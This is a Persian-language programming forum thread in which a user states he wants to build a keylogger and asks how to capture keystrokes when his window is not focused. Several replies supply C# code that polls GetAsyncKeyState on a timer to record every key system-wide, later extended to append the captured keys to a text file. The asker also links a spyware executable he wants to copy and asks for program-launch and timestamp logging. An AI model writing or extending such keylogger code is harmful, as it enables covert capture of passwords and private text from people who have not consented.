PDA

View Full Version : سوال: تشخیص فشرده شدن کلیدهای کیبرد



aradrobo
پنج شنبه 18 آبان 1391, 13:21 عصر
چگونه می توان کلیدهای کیبرد را حتی وقتی فوکوس روی برنامه ما نیست تشخیص داد مانند دیکشنری ها که مثلاً با CTRL+F12 فعال می شوند و یا Keylogger ها که کلیدهای فشرده شده را ثبت می کنند .

دقیقا من می خواهم یک Keylogger بسازم . لطفاً راهنمایی فرمایید .

Y_Safaiee
پنج شنبه 18 آبان 1391, 14:44 عصر
با سلام خدمت شما

با اینجــــــــــــا (http://www.sourcegozar.com/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%AA%D8%B5%D9%88%DB%8C%D8%B1%DB%8C-%D8%B3%D8%A7%D8%AE%D8%AA-%DA%A9%DB%8C%D9%84%D8%A7%DA%AF%D8%B1-keylogger-%D8%AF%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BE/)مراجعه نمائید

موفق باشین
بایت بایت

aradrobo
پنج شنبه 18 آبان 1391, 15:00 عصر
با سلام خدمت شما

با اینجــــــــــــا (http://www.sourcegozar.com/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D8%AA%D8%B5%D9%88%DB%8C%D8%B1%DB%8C-%D8%B3%D8%A7%D8%AE%D8%AA-%DA%A9%DB%8C%D9%84%D8%A7%DA%AF%D8%B1-keylogger-%D8%AF%D8%B1-%D8%B3%DB%8C-%D8%B4%D8%A7%D8%B1%D9%BE/)مراجعه نمائید

موفق باشین
بایت بایت

اینو دانلود کردم . ولی زمانی کار می کنه که برنامه روش فوکوس شده باشه . ولی اگه روی دسکتاپ به عنوان پیشفرض کلیک کنم که از فوکوس برنامه در بیاد . دیگه کار نمی کنه .

Y_Safaiee
پنج شنبه 18 آبان 1391, 15:09 عصر
با سلام مجدد خدمت شما

میتونین از توابع API استفاده کنین تابع API برای استفاده شما GetAsyncKeyState در کتابخانه user32 میباشد.

به اینــــــــــجا (http://barnamenevis.org/showthread.php?317852-%D8%B4%D9%86%D8%A7%D8%B3%D8%A7%DB%8C%DB%8C-%DA%A9%D9%84%DB%8C%D8%AF-%D9%87%D8%A7%DB%8C-%D8%B2%D8%AF%D9%87-%D8%B4%D8%AF%D9%87-%D8%B1%D9%88%DB%8C-%D9%81%D8%B1%D9%85-%D8%A8%D8%AF%D9%88%D9%86-%D8%AA%D9%88%D8%AC%D9%87-%D8%A8%D9%87-%D8%A7%DB%8C%D9%86-%DA%A9%D9%87-%D9%81%DA%A9%D9%88%D8%B3-%D8%B1%D9%88%DB%8C-%DA%A9%D8%AF%D9%88%D9%85-%DA%A9%D9%86%D8%AA%D8%B1%D9%84%D9%87), اینجـــــــا (http://www.pinvoke.net/default.aspx/user32.getasynckeystate)و اینجــــــــا (http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293%28v=vs.85%29.aspx)نیز یه سری بزنین


موفق باشین
بایت بایت

alexmcse
پنج شنبه 18 آبان 1391, 15:14 عصر
در رویدادهای کی پرس

using System;
using System.Windows.Forms;

public class Form1: Form
{
public Form1()
{
// Create a TextBox control.
TextBox tb = new TextBox();
this.Controls.Add(tb);
tb.KeyPress += new KeyPressEventHandler(keypressed);
}

private void keypressed(Object o, KeyPressEventArgs e)
{
// The keypressed method uses the KeyChar property to check
// whether the ENTER key is pressed.

// If the ENTER key is pressed, the Handled property is set to true,
// to indicate the event is handled.
if (e.KeyChar == (char)Keys.Return)
{
e.Handled = true;
}
}

public static void Main()
{
Application.Run(new Form1());
}
}

// Boolean flag used to determine when a character other than a number is entered.
private bool nonNumberEntered = false;

// Handle the KeyDown event to determine the type of character entered into the control.
private void textBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
{
// Initialize the flag to false.
nonNumberEntered = false;

// Determine whether the keystroke is a number from the top of the keyboard.
if (e.KeyCode < Keys.D0 || e.KeyCode > Keys.D9)
{
// Determine whether the keystroke is a number from the keypad.
if (e.KeyCode < Keys.NumPad0 || e.KeyCode > Keys.NumPad9)
{
// Determine whether the keystroke is a backspace.
if(e.KeyCode != Keys.Back)
{
// A non-numerical keystroke was pressed.
// Set the flag to true and evaluate in KeyPress event.
nonNumberEntered = true;
}
}
}
}

// This event occurs after the KeyDown event and can be used to prevent
// characters from entering the control.
private void textBox1_KeyPress(object sender, System.Windows.Forms.KeyPressEventArgs e)
{
// Check for the flag being set in the KeyDown event.
if (nonNumberEntered == true)
{
// Stop the character from being entered into the control since it is non-numerical.
e.Handled = true;
}
}
کی دون و کی آپ هم همینجور

:تشویق:

Y_Safaiee
پنج شنبه 18 آبان 1391, 15:26 عصر
با سلام مجدد

alexmcse (http://barnamenevis.org/member.php?248227-alexmcse) عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

aradrobo (http://barnamenevis.org/member.php?258903-aradrobo) عزیز کد مدنظر شما اینه :



using System.Runtime.InteropServices;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 3;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue)) )
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());
}
}
}
}
}



حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

موفق باشین
بایت بایت

arefba
پنج شنبه 18 آبان 1391, 16:28 عصر
به جای تایمر از thread استفاده کنید لطفا

aradrobo
جمعه 19 آبان 1391, 10:48 صبح
با سلام مجدد

alexmcse (http://barnamenevis.org/member.php?248227-alexmcse) عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

aradrobo (http://barnamenevis.org/member.php?258903-aradrobo) عزیز کد مدنظر شما اینه :



using System.Runtime.InteropServices;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 3;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue)) )
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());
}
}
}
}
}



حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

موفق باشین
بایت بایت

دقیقاً ههمینو می خواهم . ولی نمی خواهم درون لیست باکس نمایش دهد . می خواهم درون یک فایل تکست (txt) ذخیره شود . چه کنم ؟

aradrobo
جمعه 19 آبان 1391, 10:56 صبح
به جای تایمر از thread استفاده کنید لطفا

چرا ؟ و چگونه ؟

aradrobo
جمعه 19 آبان 1391, 11:03 صبح
دقیقا ً من می خواهم برنامه زیر را که لینک دانلودش را برایتان می فرستم را بسازم . لطفاً بیشتر به من کمک کنید .

http://s1.picofile.com/file/7550151070/SpyEx.exe.html
http://s1.picofile.com/file/7550151070/SpyEx.exe.html

aradrobo
جمعه 19 آبان 1391, 18:46 عصر
لطفاً اگر در این زمینه کار کرده اید مرا راهنمایی کنید . با تشکر

aradrobo
جمعه 19 آبان 1391, 19:04 عصر
با سلام مجدد

alexmcse (http://barnamenevis.org/member.php?248227-alexmcse) عزیز ایشون یک کد میخوان بیرون از فرم و در صورت غیر فعال نبودن فرم نیز عمل کنه

aradrobo (http://barnamenevis.org/member.php?258903-aradrobo) عزیز کد مدنظر شما اینه :



using System.Runtime.InteropServices;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 3;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue)) )
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";
listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());
}
}
}
}
}



حالا هرکجا رویدادی اتفاق بیقته داخل لیست باکس نمایش داده میشه.

موفق باشین
بایت بایت


این کدی که شما دادین ، دقیقاً اگر فوکوس روی فرم هم نباشه عمل می کنه . ولی یک مشکل داره و اون اینکه شما هر بار دارین لیست باکس رو پاک می کنین . اگر من این listBox1.Items.Clear();

قسمت را حذف کنم . مشاهده می شه که وقتی یک حرف روی کیبرد را می زنم ، اون حرف چندین بار نمایش داده می شه .

لطفاً این مشکل را حل کنید . با تشکر

aradrobo
جمعه 19 آبان 1391, 19:29 عصر
برنامه رو به صورت زیر هم نوشتم . ولی باز مشکل دارد . خودتون ببینید :
private void Form1_Load(object sender, EventArgs e)
{
timer1.Enabled = true;
timer1.Interval = 30;
}

private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
keyBuffer = Enum.GetName(typeof(Keys), i) + " ";

File.AppendAllText(@"C:\\01.txt", keyBuffer.ToString() + "\n");

// listBox1.Items.Clear();
listBox1.Items.Add(keyBuffer.ToString());

// تشخیص حجم فایل
System.IO.FileInfo a = new System.IO.FileInfo(@"c:\01.txt");//a
if (a.Length == 1000)//b
{
MessageBox.Show("1 kb");
}
}
}
}

Y_Safaiee
جمعه 19 آبان 1391, 21:03 عصر
با سلام مجدد



using System.IO;
namespace GetKey
{
public partial class Form1 : Form
{

public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);

string keyBuffer = string.Empty;

private void Form1_Load(object sender, EventArgs e)
{
textBox1.Text = "";
timer1.Interval = 500;
}

private void timer1_Tick(object sender, EventArgs e)
{

foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
keyBuffer = Enum.GetName(typeof(Keys), i) ;
textBox1.Text += keyBuffer;
Keylogger.Write(keyBuffer);
textBox1.SelectionStart = textBox1.TextLength;
Keylogger.Close();
}


}
}

}
}



موفق باشین
بایت بایت

aradrobo
یک شنبه 21 آبان 1391, 15:02 عصر
با سلام مجدد



using System.IO;
namespace GetKey
{
public partial class Form1 : Form
{

public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);

string keyBuffer = string.Empty;

private void Form1_Load(object sender, EventArgs e)
{
textBox1.Text = "";
timer1.Interval = 500;
}

private void timer1_Tick(object sender, EventArgs e)
{

foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
keyBuffer = Enum.GetName(typeof(Keys), i) ;
textBox1.Text += keyBuffer;
Keylogger.Write(keyBuffer);
textBox1.SelectionStart = textBox1.TextLength;
Keylogger.Close();
}


}
}

}
}



موفق باشین
بایت بایت


حالا نمیشه ، مثلاً راست کلیک یا چپ کلیک هایی که می کنیم رو چیزی ننویسه ؟
یا اینکه وقتی برنامه ای رو باز می کنیم ، بگه چه برنامه ای باز میشه ؟
ساعت و تاریخ بزنه و مثل یک گزارش کار به ما بگه ؟

aradrobo
دوشنبه 22 آبان 1391, 20:38 عصر
لطفاً اگر کسی هست که می تونه به من کمک کنه در این قسمت منو راهنمایی کنه . خیلی ممنون .

aradrobo
چهارشنبه 24 آبان 1391, 15:28 عصر
لطفاً اگر کسی هست که می تونه به من کمک کنه در این قسمت منو راهنمایی کنه . خیلی ممنون .
یعنی هیچ کسی نمی تونه به سوالم جواب بده ؟